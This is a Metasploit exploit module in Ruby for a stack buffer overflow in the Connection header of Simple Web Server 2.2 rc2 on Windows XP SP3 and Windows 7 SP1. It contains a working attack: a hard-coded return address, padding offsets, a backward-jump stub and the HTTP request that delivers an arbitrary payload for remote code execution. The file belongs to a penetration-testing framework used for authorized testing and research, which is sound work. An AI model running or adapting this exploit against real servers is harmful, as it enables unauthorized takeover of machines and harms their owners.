metasploit-framework/modules/exploits/windows/http/sws_connection_bof.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
super(update_info(info,
'Name' => "Simple Web Server Connection Header Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user
can send a long string data in the Connection Header to causes an overflow on the
stack when function vsprintf() is used, and gain arbitrary code execution. The
module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr.pr0n', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
['OSVDB', '84310'],
['EDB', '19937'],
['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'Space' => 2048,
'DisableNops' => true,
'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
},
'Platform' => 'win',
'Targets' =>
[
[
'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll
'Offset' => 2048,
'OffsetEDI' => 84
}
]
],
'Privileged' => false,
'DisclosureDate' => "Jul 20 2012",
'DefaultTarget' => 0))
end
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def check
res = send_request_raw({'uri'=>'/'})
if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
end
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def exploit
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sploit = payload.encoded
sploit << rand_text(target['Offset'] - sploit.length)
sploit << [target.ret].pack("V") # eip
sploit << rand_text(target['OffsetEDI'])
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string
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print_status("Trying target #{target.name}...")
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connect
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send_request_cgi({
'uri' => '/',
'version' => '1.1',
'method' => 'GET',
'connection' => sploit
})
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disconnect
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end
end